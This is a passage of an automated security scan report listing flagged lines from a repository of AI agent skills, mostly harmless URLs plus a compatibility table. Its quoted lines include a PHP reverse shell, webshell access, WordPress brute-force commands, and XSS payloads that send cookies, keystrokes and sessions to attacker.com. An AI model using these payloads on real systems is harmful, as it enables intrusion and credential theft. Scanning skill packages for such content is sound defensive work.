    - [ ] No eval() or dynamic code execution
  • Access to secretsline 115
    [Credential-related source omitted]

skills/vulnerability-scanner/scripts/security_scan.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 90
    [Credential-related source omitted]

skills/wcag-audit-patterns/resources/implementation-playbook.md

  • Network accessline 438
    # CLI tools npx @axe-core/cli https://example.com
  • Network accessline 439
    npx @axe-core/cli https://example.com
  • Network accessline 440
    npx pa11y https://example.com
  • Network accessline 441
    lighthouse https://example.com --only-categories=accessibility
  • Network accessline 538
    - [WCAG 2.2 Guidelines](https://www.w3.org/TR/WCAG22/)
  • Network accessline 539
    - [WebAIM](https://webaim.org/)
  • Network accessline 540
    - [A11y Project Checklist](https://www.a11yproject.com/checklist/)
  • Network accessline 541
    - [axe DevTools](https://www.deque.com/axe/)

skills/web-artifacts-builder/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

skills/web-artifacts-builder/SKILL.md

  • Network accessline 76
    - **shadcn/ui components**: https://ui.shadcn.com/docs/components

skills/web-artifacts-builder/scripts/bundle-artifact.sh

  • Executable scriptline 1
    #!/bin/bash
  • Dangerous shell operationline 36
    rm -rf dist bundle.html

skills/web-artifacts-builder/scripts/init-artifact.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 281
    cat > components.json << 'EOF' {   "$schema": "https://ui.shadcn.com/schema.json",
  • Network accessline 282
    {   "$schema": "https://ui.shadcn.com/schema.json",   "style": "default",
  • Network accessline 283
    "$schema": "https://ui.shadcn.com/schema.json",

skills/web-design-guidelines/SKILL.md

  • Network accessline 25
    https://raw.githubusercontent.com/vercel-labs/web-interface-guidelines/main/command.md

skills/web-performance-optimization/SKILL.md

  • Network accessline 314
    \`\`\`html <!-- Before: Loads immediately --> <script src="https://analytics.com/script.js"></script>
  • Network accessline 316
    <script src="https://analytics.com/script.js"></script>
  • Network accessline 320
    window.addEventListener('load', () => {     const script = document.createElement('script');     script.src = 'https://analytics.com/script.js';
  • Network accessline 321
    const script = document.createElement('script');     script.src = 'https://analytics.com/script.js';     script.async = true;
  • Network accessline 322
    script.src = 'https://analytics.com/script.js';
  • Network accessline 522
    # Test with throttling lighthouse https://yoursite.com --throttling.cpuSlowdownMultiplier=4
  • Network accessline 523
    lighthouse https://yoursite.com --throttling.cpuSlowdownMultiplier=4
  • Network accessline 639
    - [Web.dev Performance](https://web.dev/performance/)
  • Network accessline 640
    - [Core Web Vitals](https://web.dev/vitals/)
  • Network accessline 641
    - [Lighthouse Documentation](https://developers.google.com/web/tools/lighthouse)
  • Network accessline 642
    - [MDN Performance Guide](https://developer.mozilla.org/en-US/docs/Web/Performance)
  • Network accessline 643
    - [Next.js Performance](https://nextjs.org/docs/advanced-features/measuring-performance)
  • Network accessline 644
    - [Image Optimization Guide](https://web.dev/fast/#optimize-your-images)

skills/web3-testing/SKILL.md

  • Access to secretsline 62
    [Credential-related source omitted]
  • Access to secretsline 68
    [Credential-related source omitted]
  • Access to secretsline 71
    [Credential-related source omitted]
  • Network accessline 228
    // Mainnet fork test     function testForkMainnet() public {         vm.createSelectFork("https://eth-mainnet.alchemyapi.io/v2/...");
  • Network accessline 230
    vm.createSelectFork("https://eth-mainnet.alchemyapi.io/v2/...");

skills/webapp-testing/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

skills/webapp-testing/SKILL.md

  • Network accessline 59
    browser = p.chromium.launch(headless=True) # Always launch chromium in headless mode     page = browser.new_page()     page.goto('http://localhost:5173') # Server already running and ready
  • Network accessline 60
    page = browser.new_page()     page.goto('http://localhost:5173') # Server already running and ready     page.wait_for_load_state('networkidle') # CRITICAL: Wait for JS to execute
  • Network accessline 61
    page.goto('http://localhost:5173') # Server already running and ready

skills/webapp-testing/scripts/with_server.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 26
    while time.time() - start_time < timeout:         try:             with socket.create_connection(('localhost', port), timeout=1):
  • Network accessline 27
    try:             with socket.create_connection(('localhost', port), timeout=1):                 return True
  • Network accessline 28
    with socket.create_connection(('localhost', port), timeout=1):

skills/webflow-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/whatsapp-automation/SKILL.md

  • Network accessline 23
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/wordpress-penetration-testing/SKILL.md

  • Network accessline 22
    - Burp Suite or OWASP ZAP - Nmap for initial discovery - cURL or wget
  • Network accessline 24
    - cURL or wget
  • Network accessline 46
    # Check for WordPress indicators curl -s http://target.com | grep -i wordpress
  • Network accessline 47
    curl -s http://target.com | grep -i wordpress
  • Network accessline 48
    curl -s http://target.com | grep -i "wp-content"
  • Network accessline 49
    curl -s http://target.com | grep -i "wp-includes"
  • Network accessline 51
    # Check common WordPress paths curl -I http://target.com/wp-login.php
  • Network accessline 52
    curl -I http://target.com/wp-login.php
  • Network accessline 53
    curl -I http://target.com/wp-admin/
  • Network accessline 54
    curl -I http://target.com/wp-content/
  • Network accessline 55
    curl -I http://target.com/xmlrpc.php
  • Network accessline 57
    # Check meta generator tag curl -s http://target.com | grep "generator"
  • Network accessline 58
    curl -s http://target.com | grep "generator"
  • Network accessline 78
    # Basic scan wpscan --url http://target.com/wordpress/
  • Network accessline 79
    wpscan --url http://target.com/wordpress/
  • Network accessline 81
    # With API token (for vulnerability data) wpscan --url http://target.com --api-token YOUR_API_TOKEN
  • Network accessline 82
    wpscan --url http://target.com --api-token YOUR_API_TOKEN
  • Network accessline 84
    # Aggressive detection mode wpscan --url http://target.com --detection-mode aggressive
  • Network accessline 85
    wpscan --url http://target.com --detection-mode aggressive
  • Network accessline 87
    # Output to file wpscan --url http://target.com -o results.txt
  • Network accessline 88
    wpscan --url http://target.com -o results.txt
  • Network accessline 90
    # JSON output wpscan --url http://target.com -f json -o results.json
  • Network accessline 91
    wpscan --url http://target.com -f json -o results.json
  • Network accessline 93
    # Verbose output wpscan --url http://target.com -v
  • Network accessline 94
    wpscan --url http://target.com -v
  • Network accessline 102
    # WPScan version detection wpscan --url http://target.com
  • Network accessline 103
    wpscan --url http://target.com
  • Network accessline 105
    # Manual version checks curl -s http://target.com/readme.html | grep -i version
  • Network accessline 106
    curl -s http://target.com/readme.html | grep -i version
  • Network accessline 107
    curl -s http://target.com/feed/ | grep -i generator
  • Network accessline 108
    curl -s http://target.com | grep "?ver="
  • Network accessline 110
    # Check meta generator curl -s http://target.com | grep 'name="generator"'
  • Network accessline 111
    curl -s http://target.com | grep 'name="generator"'
  • Network accessline 113
    # Check RSS feeds curl -s http://target.com/feed/
  • Network accessline 114
    curl -s http://target.com/feed/
  • Network accessline 115
    curl -s http://target.com/comments/feed/
  • Network accessline 129
    # Enumerate all themes wpscan --url http://target.com -e at
  • Network accessline 130
    wpscan --url http://target.com -e at
  • Network accessline 132
    # Enumerate vulnerable themes only wpscan --url http://target.com -e vt
  • Network accessline 133
    wpscan --url http://target.com -e vt
  • Network accessline 135
    # Theme enumeration with detection mode wpscan --url http://target.com -e at --plugins-detection aggressive
  • Network accessline 136
    wpscan --url http://target.com -e at --plugins-detection aggressive
  • Network accessline 138
    # Manual theme detection curl -s http://target.com | grep "wp-content/themes/"
  • Network accessline 139
    curl -s http://target.com | grep "wp-content/themes/"
  • Network accessline 140
    curl -s http://target.com/wp-content/themes/
  • Network accessline 148
    # Check theme version curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version
  • Network accessline 149
    curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version
  • Network accessline 150
    curl -s http://target.com/wp-content/themes/<theme>/readme.txt
  • Network accessline 158
    # Enumerate all plugins wpscan --url http://target.com -e ap
  • Network accessline 159
    wpscan --url http://target.com -e ap
  • Network accessline 161
    # Enumerate vulnerable plugins only wpscan --url http://target.com -e vp
  • Network accessline 162
    wpscan --url http://target.com -e vp
  • Network accessline 164
    # Aggressive plugin detection wpscan --url http://target.com -e ap --plugins-detection aggressive
  • Network accessline 165
    wpscan --url http://target.com -e ap --plugins-detection aggressive
  • Network accessline 167
    # Mixed detection mode wpscan --url http://target.com -e ap --plugins-detection mixed
  • Network accessline 168
    wpscan --url http://target.com -e ap --plugins-detection mixed
  • Network accessline 170
    # Manual plugin discovery curl -s http://target.com | grep "wp-content/plugins/"
  • Network accessline 171
    curl -s http://target.com | grep "wp-content/plugins/"
  • Network accessline 172
    curl -s http://target.com/wp-content/plugins/
  • Network accessline 183
    # Check plugin version curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt
  • Network accessline 184
    curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt
  • Network accessline 192
    # WPScan user enumeration wpscan --url http://target.com -e u
  • Network accessline 193
    wpscan --url http://target.com -e u
  • Network accessline 195
    # Enumerate specific number of users wpscan --url http://target.com -e u1-100
  • Network accessline 196
    wpscan --url http://target.com -e u1-100
  • Network accessline 198
    # Author ID enumeration (manual) for i in {1..20}; do     curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'
  • Network accessline 199
    for i in {1..20}; do     curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/' done
  • Network accessline 200
    curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'
  • Network accessline 203
    # JSON API user enumeration (if enabled) curl -s http://target.com/wp-json/wp/v2/users
  • Network accessline 204
    curl -s http://target.com/wp-json/wp/v2/users
  • Network accessline 206
    # REST API user enumeration curl -s http://target.com/wp-json/wp/v2/users?per_page=100
  • Network accessline 207
    curl -s http://target.com/wp-json/wp/v2/users?per_page=100
  • Network accessline 209
    # Login error enumeration curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php
  • Network accessline 210
    curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php
  • Network accessline 218
    # Enumerate everything wpscan --url http://target.com -e at -e ap -e u
  • Network accessline 219
    wpscan --url http://target.com -e at -e ap -e u
  • Network accessline 221
    # Alternative comprehensive scan wpscan --url http://target.com -e vp,vt,u,cb,dbe
  • Network accessline 222
    wpscan --url http://target.com -e vp,vt,u,cb,dbe
  • Network accessline 233
    # Full aggressive enumeration wpscan --url http://target.com -e at,ap,u,cb,dbe \
  • Network accessline 234
    wpscan --url http://target.com -e at,ap,u,cb,dbe \
  • Network accessline 244
    # Single user brute-force wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt
  • Network accessline 245
    wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt
  • Network accessline 247
    # Multiple users from file wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt
  • Network accessline 248
    wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt
  • Network accessline 250
    # With password attack threads wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50
  • Network accessline 251
    wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50
  • Network accessline 253
    # XML-RPC brute-force (faster, may bypass protection) wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc
  • Network accessline 254
    wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc
  • Network accessline 256
    # Brute-force with API limiting wpscan --url http://target.com -U admin -P passwords.txt --throttle 500
  • Network accessline 257
    wpscan --url http://target.com -U admin -P passwords.txt --throttle 500
  • Network accessline 259
    # Create targeted wordlist cewl http://target.com -w wordlist.txt
  • Network accessline 260
    cewl http://target.com -w wordlist.txt
  • Network accessline 261
    wpscan --url http://target.com -U admin -P wordlist.txt
  • Network accessline 314
    <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
  • Dangerous shell operationline 315
    exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
  • Network accessline 315
    exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
  • Network accessline 318
    // Or use weevely backdoor // Access via: http://target.com/wp-content/themes/theme_name/404.php
  • Network accessline 319
    // Access via: http://target.com/wp-content/themes/theme_name/404.php
  • Network accessline 342
    # Access webshell curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id"
  • Network accessline 343
    curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id"
  • Network accessline 351
    # Check if XML-RPC is enabled curl -X POST http://target.com/xmlrpc.php
  • Network accessline 352
    curl -X POST http://target.com/xmlrpc.php
  • Network accessline 354
    # List available methods curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php
  • Network accessline 355
    curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php
  • Network accessline 383
    curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php
  • Network accessline 389
    # Use Tor proxy wpscan --url http://target.com --proxy socks5://127.0.0.1:9050
  • Network accessline 390
    wpscan --url http://target.com --proxy socks5://127.0.0.1:9050
  • Network accessline 392
    # HTTP proxy wpscan --url http://target.com --proxy http://127.0.0.1:8080
  • Network accessline 393
    wpscan --url http://target.com --proxy http://127.0.0.1:8080
  • Network accessline 395
    # Burp Suite proxy wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks
  • Network accessline 396
    wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks
  • Network accessline 402
    # Basic authentication wpscan --url http://target.com --http-auth admin:password
  • Network accessline 403
    wpscan --url http://target.com --http-auth admin:password
  • Network accessline 405
    # Force SSL/TLS wpscan --url https://target.com --disable-tls-checks
  • Network accessline 406
    wpscan --url https://target.com --disable-tls-checks
  • Network accessline 436
    | Purpose | Command | |---------|---------| | Basic scan | `wpscan --url http://target.com` |
  • Network accessline 437
    |---------|---------| | Basic scan | `wpscan --url http://target.com` | | All enumeration | `wpscan --url http://target.com -e at,ap,u` |
  • Network accessline 438
    | Basic scan | `wpscan --url http://target.com` |
  • Network accessline 439
    | All enumeration | `wpscan --url http://target.com -e at,ap,u` |
  • Network accessline 440
    | Password attack | `wpscan --url http://target.com -U admin -P pass.txt` |
  • Network accessline 441
    | Aggressive | `wpscan --url http://target.com --detection-mode aggressive` |

skills/wrike-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/writing-skills/anthropic-best-practices.md

  • Network accessline 13
    The [context window](https://platform.claude.com/docs/en/build-with-claude/context-windows) is a public good. Your Skill shares the context window with everything else Claude needs to know, including:
  • Network accessline 249
    <img src="https://mintcdn.com/anthropic-claude-docs/4Bny2bjzuGBK7o00/images/agent-skills-simple-file.png?fit=max&auto=format&n=4Bny2bjzuGBK7o00&q=85&s=87782ff239b297d9a9e8e1b72ed72db9" alt="Simple SKILL.md file showing YAML frontmatter and 
  • Network accessline 253
    <img src="https://mintcdn.com/anthropic-claude-docs/4Bny2bjzuGBK7o00/images/agent-skills-bundling-content.png?fit=max&auto=format&n=4Bny2bjzuGBK7o00&q=85&s=a5e0aa41e3d53985a7e3e43668a33ea3" alt="Bundling additional reference files like refe
  • Network accessline 919
    <img src="https://mintcdn.com/anthropic-claude-docs/4Bny2bjzuGBK7o00/images/agent-skills-executable-scripts.png?fit=max&auto=format&n=4Bny2bjzuGBK7o00&q=85&s=4bbc45f2c2e0bee9f2f0d5da669bad00" alt="Bundling executable scripts alongside instr

skills/writing-skills/render-graphs.js

  • Executable scriptline 1
    #!/usr/bin/env node

skills/x-article-publisher-skill/SKILL.md

  • Network accessline 2
    name: x-article-publisher-skill description: "Publish articles to X/Twitter" source: "https://github.com/wshuyi/x-article-publisher-skill"
  • Network accessline 3
    description: "Publish articles to X/Twitter" source: "https://github.com/wshuyi/x-article-publisher-skill" risk: safe
  • Network accessline 4
    source: "https://github.com/wshuyi/x-article-publisher-skill"
  • Network accessline 22
    For more information, see the [source repository](https://github.com/wshuyi/x-article-publisher-skill).

skills/xlsx-official/LICENSE.txt

  • Network accessline 6
    exists, use is governed by Anthropic's Consumer Terms of Service or Commercial Terms of Service, as applicable: https://www.anthropic.com/legal/consumer-terms
  • Network accessline 7
    Commercial Terms of Service, as applicable: https://www.anthropic.com/legal/consumer-terms https://www.anthropic.com/legal/commercial-terms
  • Network accessline 8
    https://www.anthropic.com/legal/consumer-terms
  • Network accessline 9
    https://www.anthropic.com/legal/commercial-terms

skills/xlsx-official/recalc.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 35
    macro_content = '''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> <script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" scr
  • Network accessline 36
    <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> <script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">     Sub RecalculateAndSave()
  • Network accessline 37
    <script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">

skills/xss-html-injection/SKILL.md

  • Network accessline 122
    <!-- Cookie stealing payload --> <script> document.location='http://attacker.com/steal?c='+document.cookie
  • Network accessline 123
    <script> document.location='http://attacker.com/steal?c='+document.cookie </script>
  • Network accessline 124
    document.location='http://attacker.com/steal?c='+document.cookie
  • Network accessline 128
    <script> document.onkeypress=function(e){   new Image().src='http://attacker.com/log?k='+e.key;
  • Network accessline 129
    document.onkeypress=function(e){   new Image().src='http://attacker.com/log?k='+e.key; }
  • Network accessline 130
    new Image().src='http://attacker.com/log?k='+e.key;
  • Network accessline 134
    <!-- Session hijacking --> <script> fetch('http://attacker.com/capture',{
  • Network accessline 135
    <script> fetch('http://attacker.com/capture',{   method:'POST',
  • Network accessline 136
    fetch('http://attacker.com/capture',{
  • Network accessline 143
    <div id="login"> <h2>Session Expired - Please Login</h2> <form action="http://attacker.com/phish" method="POST">
  • Network accessline 144
    <h2>Session Expired - Please Login</h2> <form action="http://attacker.com/phish" method="POST"> Username: <input name="user"><br>
  • Network accessline 145
    <form action="http://attacker.com/phish" method="POST">
  • Network accessline 159
    # Basic reflected payload https://target.com/search?q=<script>alert(document.domain)</script>
  • Network accessline 160
    https://target.com/search?q=<script>alert(document.domain)</script>
  • Network accessline 162
    # URL-encoded payload https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
  • Network accessline 163
    https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
  • Network accessline 165
    # Event handler in parameter https://target.com/page?name="><img src=x onerror=alert(1)>
  • Network accessline 166
    https://target.com/page?name="><img src=x onerror=alert(1)>
  • Network accessline 168
    # Fragment-based (for DOM XSS) https://target.com/page#<script>alert(1)</script>
  • Network accessline 169
    https://target.com/page#<script>alert(1)</script>
  • Dangerous shell operationline 195
    eval()
  • Network accessline 222
    // Hash-based injection https://target.com/page#<img src=x onerror=alert(1)>
  • Network accessline 223
    https://target.com/page#<img src=x onerror=alert(1)>
  • Network accessline 225
    // URL parameter injection (processed client-side) https://target.com/page?default=<script>alert(1)</script>
  • Network accessline 226
    https://target.com/page?default=<script>alert(1)</script>
  • Network accessline 228
    // PostMessage exploitation // On attacker page: <iframe src="https://target.com/vulnerable"></iframe>
  • Network accessline 229
    // On attacker page: <iframe src="https://target.com/vulnerable"></iframe> <script>
  • Network accessline 230
    <iframe src="https://target.com/vulnerable"></iframe>
  • Network accessline 245
    <!-- Form hijacking --> <form action="http://attacker.com/capture">
  • Network accessline 246
    <form action="http://attacker.com/capture">
  • Network accessline 251
    <!-- CSS injection for data exfiltration --> <style> input[value^="a"]{background:url(http://attacker.com/a)}
  • Network accessline 252
    <style> input[value^="a"]{background:url(http://attacker.com/a)} input[value^="b"]{background:url(http://attacker.com/b)}
  • Network accessline 253
    input[value^="a"]{background:url(http://attacker.com/a)}
  • Network accessline 254
    input[value^="b"]{background:url(http://attacker.com/b)}
  • Network accessline 257
    <!-- iframe injection --> <iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe>
  • Network accessline 258
    <iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe>
  • Dangerous shell operationline 319
    <script>eval('al'+'ert(1)')</script>
  • Dangerous shell operationline 328
    <script>eval(atob('YWxlcnQoMSk='))</script>
  • Possible obfuscationline 328
    <script>eval(atob('YWxlcnQoMSk='))</script>
  • Network accessline 374
    <script> new Image().src='http://attacker.com/c='+btoa(document.cookie);
  • Network accessline 375
    new Image().src='http://attacker.com/c='+btoa(document.cookie);
  • Network accessline 381
    <script> fetch('https://attacker.com/log',{
  • Network accessline 382
    fetch('https://attacker.com/log',{
  • Network accessline 432
    <script> var i = new Image(); i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
  • Network accessline 433
    var i = new Image(); i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie); </script>
  • Network accessline 434
    i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
  • Network accessline 446
    https://shop.example.com/search?q=test
  • Network accessline 451
    https://shop.example.com/search?q=<script>alert(document.domain)</script>
  • Network accessline 456
    https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E
  • Network accessline 472
    https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>
  • Network accessline 483
    Content-Security-Policy: script-src 'self' https://cdn.trusted.com
  • Network accessline 488
    <script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>

skills/youtube-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/youtube-summarizer/CHANGELOG.md

  • Network accessline 5
    The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
  • Network accessline 6
    and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

skills/youtube-summarizer/README.md

  • Network accessline 39
    # English copilot> summarize this video: https://www.youtube.com/watch?v=VIDEO_ID
  • Network accessline 40
    copilot> summarize this video: https://www.youtube.com/watch?v=VIDEO_ID
  • Network accessline 41
    copilot> summarize youtube video https://youtu.be/VIDEO_ID
  • Network accessline 42
    copilot> extract youtube transcript https://youtube.com/watch?v=VIDEO_ID
  • Network accessline 44
    # Portuguese (also supported) copilot> resume este video: https://www.youtube.com/watch?v=VIDEO_ID
  • Network accessline 45
    copilot> resume este video: https://www.youtube.com/watch?v=VIDEO_ID
  • Network accessline 69
    copilot> summarize this video: https://www.youtube.com/watch?v=abc123
  • Network accessline 81
    copilot> summarize youtube video https://youtu.be/xyz789
  • Network accessline 93
    copilot> extract youtube transcript https://youtube.com/watch?v=def456
  • Network accessline 105
    copilot> summarize youtube video https://youtu.be/ghi789
  • Network accessline 117
    copilot> summarize youtube video https://www.youtube.com/watch?v=jkl012
  • Network accessline 182
    - **Python 3.x** (usually pre-installed on macOS/Linux) - **pip** (Python package manager) - **[youtube-transcript-api](https://github.com/jdepoix/youtube-transcript-api)** by [Julien Depoix](https://github.com/jdepoix) (installed automatic
  • Network accessline 184
    - **[youtube-transcript-api](https://github.com/jdepoix/youtube-transcript-api)** by [Julien Depoix](https://github.com/jdepoix) (installed automatically by the skill)
  • Network accessline 200
    - `https://www.youtube.com/watch?v=VIDEO_ID`
  • Network accessline 201
    - `https://youtube.com/watch?v=VIDEO_ID`
  • Network accessline 202
    - `https://youtu.be/VIDEO_ID`
  • Network accessline 203
    - `https://m.youtube.com/watch?v=VIDEO_ID`
  • Network accessline 242
    Expected format examples: - https://www.youtube.com/watch?v=VIDEO_ID
  • Network accessline 243
    - https://www.youtube.com/watch?v=VIDEO_ID
  • Network accessline 244
    - https://youtu.be/VIDEO_ID
  • Network accessline 316
    # Clone the repository git clone https://github.com/ericgandrade/cli-ai-skills.git
  • Network accessline 317
    git clone https://github.com/ericgandrade/cli-ai-skills.git
  • Network accessline 358
    - **[youtube-transcript-api](https://github.com/jdepoix/youtube-transcript-api)** by [Julien Depoix](https://github.com/jdepoix) - Python library for extracting YouTube video transcripts

skills/youtube-summarizer/SKILL.md

  • Network accessline 111
    **Supported URL Formats:** - `https://www.youtube.com/watch?v=VIDEO_ID`
  • Network accessline 112
    - `https://www.youtube.com/watch?v=VIDEO_ID`
  • Network accessline 113
    - `https://youtube.com/watch?v=VIDEO_ID`
  • Network accessline 114
    - `https://youtu.be/VIDEO_ID`
  • Network accessline 115
    - `https://m.youtube.com/watch?v=VIDEO_ID`
  • Network accessline 142
    Please provide a valid YouTube URL in one of these formats: - https://www.youtube.com/watch?v=VIDEO_ID
  • Network accessline 143
    - https://www.youtube.com/watch?v=VIDEO_ID
  • Network accessline 144
    - https://youtu.be/VIDEO_ID
  • Network accessline 146
    Example: https://www.youtube.com/watch?v=dQw4w9WgXcQ
  • Network accessline 307
    **Canal:** [Channel Name]   **Duração:** [Duration]   **URL:** [https://youtube.com/watch?v=VIDEO_ID]
  • Network accessline 308
    **Duração:** [Duration]   **URL:** [https://youtube.com/watch?v=VIDEO_ID]   **Data de Publicação:** [Date if available]
  • Network accessline 309
    **URL:** [https://youtube.com/watch?v=VIDEO_ID]
  • Network accessline 343
    claude> summarize this youtube video https://youtu.be/abc123
  • Network accessline 380
    Expected format examples: - https://www.youtube.com/watch?v=VIDEO_ID
  • Network accessline 381
    - https://www.youtube.com/watch?v=VIDEO_ID
  • Network accessline 382
    - https://youtu.be/VIDEO_ID

skills/youtube-summarizer/scripts/extract-transcript.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/youtube-summarizer/scripts/install-dependencies.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 18
    echo "  Ubuntu/Debian: sudo apt install python3-pip"
  • Dangerous shell operationline 19
    echo "  Fedora: sudo dnf install python3-pip"

skills/zendesk-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/zoho-crm-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/zoom-automation/SKILL.md

  • Network accessline 23
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
  • Access to secretsline 102
    [Credential-related source omitted]

How the signals fit together

Facts from a static read of the files at the pinned commit. They describe what the code does, not why.

Some files could not be read; the facts below still hold.

Combined signals: 1 fact
  • Reads cloud credentials, and the same file sends data over the network or runs a command (line 215)azd-deployment/SKILL.md:157High confidence
Declared and executed: 1 fact
  • Allows Bash without restrictions, though it has no scripts or shell blocksapp-builder/SKILL.md:4High confidence
Signal confidence: 498 facts

and 448 more

Only the first 500 facts are listed.

Works with

Agent compatibility, from the files in this repository
AgentStatusEvidenceInstall to
Claude CodeNativeFrontmatter field user-invocable in skills/clean-code/SKILL.md.claude/skills/<skill-name>/
CodexNativeManifest skills/dbos-golang/AGENTS.md.agents/skills/<skill-name>/
CursorCompatibleStandard SKILL.md skills/3d-web-experience/SKILL.md.cursor/skills/<skill-name>/
Gemini CLICompatibleStandard SKILL.md skills/3d-web-experience/SKILL.md.gemini/skills/<skill-name>/
GitHub CopilotCompatibleStandard SKILL.md skills/3d-web-experience/SKILL.md.github/skills/<skill-name>/
OpenCodeCompatibleStandard SKILL.md skills/3d-web-experience/SKILL.md.opencode/skills/<skill-name>/
  • Native The repository ships a manifest, folder or frontmatter field for this agent.
  • Compatible A standard SKILL.md that this agent can read.
  • Unknown No evidence either way.

Derived automatically from paths, manifests and frontmatter. Not tested on each agent.